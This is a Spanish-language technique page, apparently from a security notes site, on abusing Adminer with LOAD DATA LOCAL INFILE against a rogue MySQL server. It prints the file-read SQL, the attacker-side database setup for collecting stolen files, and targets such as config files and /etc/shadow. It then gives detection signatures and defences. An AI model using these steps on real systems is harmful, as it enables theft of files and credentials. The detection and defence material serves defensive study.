the_open_door
café
ESEN
← Volver al índice

Adminer + LOAD DATA LOCAL INFILE

Adminer es un gestor web de bases de datos en un único fichero PHP (una alternativa ligera a phpMyAdmin). Su comodidad es también su riesgo: el formulario de conexión deja elegir a qué servidor de base de datos apuntar, y nada obliga a que sea localhost. Si lo dirigimos a un MySQL/MariaDB bajo nuestro control, quien establece la conexión es el proceso de la máquina víctima, que pasa a comportarse como cliente de nuestro servidor.

El abuso. En el protocolo MySQL, la sentencia LOAD DATA LOCAL INFILE hace que sea el cliente quien lee un fichero de su sistema de archivos y lo envía al servidor. Cuando el cliente es la víctima y el servidor es nuestro, la consulta se convierte en una lectura arbitraria de ficheros de la máquina víctima:

LOAD DATA LOCAL INFILE '/var/www/html/index.php'
INTO TABLE <db>.<tabla>
SELECT * FROM <db>.<tabla>;   -- el contenido del fichero ya está en nuestra tabla

Montaje del lado atacante. Hay que levantar un servidor de BBDD propio, accesible desde la víctima, con una tabla donde caer el botín:

CREATE DATABASE loot;
CREATE USER 'u'@'<ip_victima>' IDENTIFIED BY '1234';
CREATE TABLE loot.output (data VARCHAR(1024));
GRANT ALL PRIVILEGES ON loot.* TO 'u'@'<ip_victima>';

Además, el servidor debe escuchar fuera de localhost (bind-address = 0.0.0.0 en 50-server.cnf). Desde Adminer se inicia sesión apuntando a nuestra IP y se lanza el LOAD DATA LOCAL.

Matiz importante. Lo que se puede leer depende de los permisos del usuario del sistema con que corre el servidor de BBDD de la víctima. Ficheros como /etc/shadow o /etc/passwd pueden fallar; en cambio, el propio código de la aplicación (index.php, ficheros de configuración) suele ser legible y es donde más a menudo viven credenciales reutilizables, que abren el siguiente paso (a menudo por reutilización de credenciales en SSH).

Cómo detectarlo. La firma es una conexión saliente al 3306 desde el servidor web (donde vive Adminer) hacia una IP externa, algo que un Adminer legítimo, que apunta a su BD local, no hace; en el log de acceso se ve la petición de login de Adminer con el parámetro de servidor apuntando fuera. A nivel de protocolo MySQL, el servidor externo envía al cliente víctima una petición de fichero local (LOCAL INFILE), y la lectura de index.php/config por el proceso web justo después (FIM/auditd) confirma la exfiltración. Comparte firma con el servidor MySQL malicioso.

Defensa. Mantener Adminer actualizado, no exponerlo sin autenticación y arrancar el cliente MySQL con --local-infile=0 para deshabilitar LOCAL INFILE. La causa de fondo es dejar que el servidor inicie conexiones a destinos que elige un usuario, que suele desembocar en reutilización de credenciales sobre otros servicios.

Máquinas donde se aplica